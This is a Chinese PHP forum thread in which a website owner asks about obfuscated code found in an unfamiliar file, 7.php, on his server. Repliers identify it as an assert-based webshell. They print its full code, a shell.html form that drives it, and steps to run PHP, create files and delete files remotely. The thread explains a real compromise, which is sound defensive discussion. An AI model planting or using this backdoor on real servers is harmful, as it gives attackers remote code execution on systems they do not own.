discuz 里面有这段代码-php教程-PHP中文网

discuz 里面有这段代码

php中文网

发布： 2016-06-23 13:32:32

原创

1129人浏览过

@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>

请问这是什么意思？
我的网站被主机屋封了，然后他们叫我删掉游戏登录器，我不太懂，就看了下FTP里面，
有这段代码，不会是黑客注入的吧？

eMart 网店系统

功能列表：底层程序与前台页面分离的效果，对页面的修改无需改动任何程序代码。完善的标签系统，支持自定义标签，公用标签，快捷标签，动态标签，静态标签等等，支持标签内的vbs语法，原则上运用这些标签可以制作出任何想要的页面效果。兼容原来的栏目系统，可以很方便的插入一个栏目或者一个栏目组到页面的任何位置。底层模版解析程序具有非常高的效率，稳定性和容错性，即使模版中有错误的标签也不会影响页面的显示。所有的标

查看详情

回复讨论(解决方案)

有一个名为7.php的文件，我从来没见过的，然后里面有这段代码

是木马，利用assert来执行php函数的。

7.php

<?php                  @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";                  @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";                  @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}                  [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>

登录后复制

然后创建一个调用7.php的html文件，摆在任何位置都可以，action那里的7.php改为对应的http路径就可以了。
shell.html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head>  <title> New Document </title> </head> <body>  <form name="form1" method="post" action="http://fdipzone.com/fdipzone/7.php">  <textarea name="-7" style="width:500px; height:300px"></textarea>    <input type="submit" value="submit"></form> </body></html>

登录后复制

然后运行shell.html，
1.在textarea中输入 phpinfo(); 后提交，可以看到phpinfo();的信息
2.如在textarea中输入 file_put_contents('abc.php','', true); 后提交，则会在服务器上创建一个abc.php文件。
3.输入 unlink('xxxxx'); 后提交，就能删除xxx文件。

谢谢楼上的解答，我已经删了，就是想知道为什么

是木马，利用assert来执行php函数的。

7.php

<?php                  @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";                  @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";                  @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}                  [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>

登录后复制

然后创建一个调用7.php的html文件，摆在任何位置都可以，action那里的7.php改为对应的http路径就可以了。
shell.html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head>  <title> New Document </title> </head> <body>  <form name="form1" method="post" action="http://fdipzone.com/fdipzone/7.php">  <textarea name="-7" style="width:500px; height:300px"></textarea>    <input type="submit" value="submit"></form> </body></html>

登录后复制

大神我结贴了，顺便问一下有没有方法防范这种攻击？

都让人留后门了，还能防范吗？